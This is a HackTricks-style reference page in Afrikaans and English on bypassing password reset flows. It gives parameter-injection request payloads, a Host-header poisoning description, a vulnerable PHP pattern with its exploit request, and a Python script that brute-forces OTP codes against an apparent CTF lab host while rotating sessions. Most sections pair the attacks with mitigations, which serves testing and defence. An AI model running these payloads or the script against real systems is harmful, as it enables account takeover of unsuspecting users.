Wagwoord Herstel / Vergete Wagwoord Omseiling

Reading time: 11 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Password Reset Token Leak Via Referrer

  • Die HTTP referer header mag die password reset token leak as dit in die URL ingesluit is. Dit kan gebeur wanneer 'n gebruiker ná die versoek om 'n password reset op 'n skakel na 'n derdeparty-webwerf klik.
  • Impact: Potensiële rekeningoorname via Cross-Site Request Forgery (CSRF) attacks.
  • Exploitation: Om te kontroleer of 'n password reset token is leaking in die referer header, versoek 'n password reset na jou e-posadres en klik op die reset link wat verskaf word. Moet jou wagwoord nie onmiddellik verander nie. In plaas daarvan, navigeer na 'n derdeparty-webwerf (soos Facebook of Twitter) terwyl jy die versoeke onderskep met Burp Suite. Inspekteer die versoeke om te sien of die referer header die password reset token bevat, aangesien dit sensitiewe inligting aan derde partye kan blootstel.
  • References:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Password Reset Token Leak Article

Password Reset Poisoning

  • Aanvallers kan die Host header manipuleer tydens password reset versoeke om die reset link na 'n kwaadwillige webwerf te laat wys.
  • Impact: Lei tot potensiële rekeningoorname deur reset tokens aan aanvallers te leak.
  • Mitigation Steps:
  • Valideer die Host header teen 'n witlys van toegelate domeine.
  • Gebruik veilige, server-side metodes om absolute URLs te genereer.
  • Patch: Gebruik $_SERVER['SERVER_NAME'] om password reset URLs te konstrueer in plaas van $_SERVER['HTTP_HOST'].
  • References:
  • Acunetix Article on Password Reset Poisoning

Password Reset By Manipulating Email Parameter

Aanvallers kan die password reset versoek manipuleer deur addisionele email-parameters by te voeg om die reset link om te lei.

  • Voeg aanvaller se e-pos as tweede parameter by met behulp van &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Voeg die aanvaller se email as tweede parameter by deur %20 te gebruik
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Voeg attacker email as tweede parameter by deur | te gebruik
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • Voeg die aanvaller se e-pos as tweede parameter by deur cc te gebruik
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"

Voeg die aanvaller se e-pos as tweede parameter by met bcc

php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Voeg die aanvaller se e-pos as tweede parameter by deur ',' te gebruik
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Voeg die aanvaller-e-pos as tweede parameter by die json array
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Verander email en password van enige gebruiker deur API-parameters

  • Aanvallers kan email- en password-parameters in API-versoeke wysig om inlogbewyse te verander.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

Geen Rate Limiting: Email Bombing

  • Die gebrek aan rate limiting op password reset-versoeke kan lei tot email bombing, wat die gebruiker oorweldig met reset-e-posse.
  • Mitigasiestappe:
  • Implementeer rate limiting gebaseer op IP adres of user account.
  • Gebruik CAPTCHA-uitdagings om geoutomatiseerde misbruik te voorkom.
  • Verwysings:
  • HackerOne Report 280534

Vind uit hoe Password Reset Token gegenereer word

  • Deur die patroon of metode agter token-generasie te verstaan, kan dit lei tot voorspelling of brute-force van tokens. Sommige opsies:
  • Gebaseer op Timestamp
  • Gebaseer op die UserID
  • Gebaseer op die e-pos van die gebruiker
  • Gebaseer op Firstname and Lastname
  • Gebaseer op Date of Birth
  • Gebaseer op Cryptography
  • Mitigasiestappe:
  • Gebruik sterk, cryptographic-metodes vir token-generasie.
  • Verseker voldoende randomness en lengte om voorspelbaarheid te voorkom.
  • Tools: Gebruik Burp Sequencer om die randomness van tokens te analiseer.

Guessable UUID

  • As UUIDs (version 1) raadbaar of voorspelbaar is, kan aanvallers dit brute-forseer om geldige reset tokens te genereer. Kyk:

UUID Insecurities

  • Mitigasiestappe:
  • Gebruik GUID version 4 vir randomness of implementeer bykomende sekuriteitsmaatreëls vir ander weergawes.
  • Tools: Use guidtool for analyzing and generating GUIDs.

Response Manipulation: Replace Bad Response With Good One

  • Manipulering van HTTP responses om foutboodskappe of beperkings te omseil.
  • Mitigasiestappe:
  • Implementeer server-side kontroles om response-integriteit te verseker.
  • Gebruik veilige kommunikasiekanale soos HTTPS om man-in-the-middle-aanvalle te voorkom.
  • Referensie:
  • Critical Bug in Live Bug Bounty Event

Gebruik van Verstreke Token

  • Toets of verstreke tokens nog steeds gebruik kan word vir password reset.
  • Mitigasiestappe:
  • Implementeer streng token-verstrykingbeleid en valideer tokenverstryking server-side.

Brute Force Password Reset Token

  • Poging om die reset token te brute-force met tools soos Burpsuite en IP-Rotator om IP-gebaseerde rate limits te omseil.
  • Mitigasiestappe:
  • Implementeer robuuste rate-limiting en account lockout-meganismes.
  • Monitor vir verdagte aktiwiteite wat op brute-force-aanvalle dui.

Probeer jou token te gebruik

  • Toets of 'n aanvaller se reset token saam met die slagoffer se e-pos gebruik kan word.
  • Mitigasiestappe:
  • Verseker dat tokens gebind is aan die user session of ander gebruiker-spesifieke eienskappe.

Sessie Ongeldigmaking by Logout/Password Reset

  • Verseker dat sessies ongeldig gemaak word wanneer 'n gebruiker uitlog of hul password reset.
  • Mitigasiestappe:
  • Implementeer behoorlike sessiebestuur en maak seker dat alle sessies ongeldig gemaak word by logout of password reset.

Sessie Ongeldigmaking by Logout/Password Reset

  • Reset tokens moet 'n vervaldatum hê waarna hulle ongeldig word.
  • Mitigasiestappe:
  • Stel 'n redelike vervaldatum vir reset tokens en handhaaf dit streng server-side.

OTP rate limit bypass deur jou sessie te verander

  • As die webwerf die user session gebruik om verkeerde OTP-pogings te spoor en die OTP swak was ( <= 4 syfers), kan ons die OTP effektief brute-force.
  • eksploitasie:
  • vra net 'n nuwe session token aan nadat jy deur die bediener geblokkeer is.
  • Voorbeeld kode wat hierdie bug uitbuit deur ewekansig die OTP te raai (wanneer jy die sessie verander, sal die OTP ook verander, en dus sal ons nie in staat wees om dit sequentieel brute-force nie!):
python
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)

cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)

reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")

Arbitrêre password reset via skipOldPwdCheck (pre-auth)

Sommige implementasies openbaar 'n password change aksie wat die password-change routine aanroep met skipOldPwdCheck=true en nie enige reset token of eienaarskap verifieer nie. As die endpoint 'n action parameter soos change_password en 'n username/new password in die versoekliggaam aanvaar, kan 'n aanvaller arbitrêre rekeninge reset pre-auth.

Kwetsbare patroon (PHP):

php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);

// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}

public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}

Versoek tot uitbuiting (konsep):

http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!

Mitigasies:

  • Vereis altyd 'n geldige, tydgebonde reset token wat aan die account en session gekoppel is voordat 'n wagwoord verander word.
  • Moet nooit skipOldPwdCheck paths blootstel aan nie-geauthentiseerde gebruikers nie; vereis geverifieerde toegang vir gewone wagwoordveranderings en verifieer die ou wagwoord.
  • Maak alle aktiewe sessies en reset tokens ongeldig na 'n wagwoordverandering.

Registration-as-Password-Reset (Upsert on Existing Email)

Sommige toepassings implementeer die signup handler as 'n upsert. As die e-pos reeds bestaan, werk die handler stilweg die user record by in plaas daarvan om die versoek te verwerp. Wanneer die registration endpoint 'n minimale JSON body aanvaar met 'n bestaande e-pos en 'n nuwe wagwoord, word dit effektief 'n pre-auth password reset sonder enige eienaarskapverifikasie, wat volle account takeover moontlik maak.

Pre-auth ATO PoC (overwriting an existing user's password):

http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks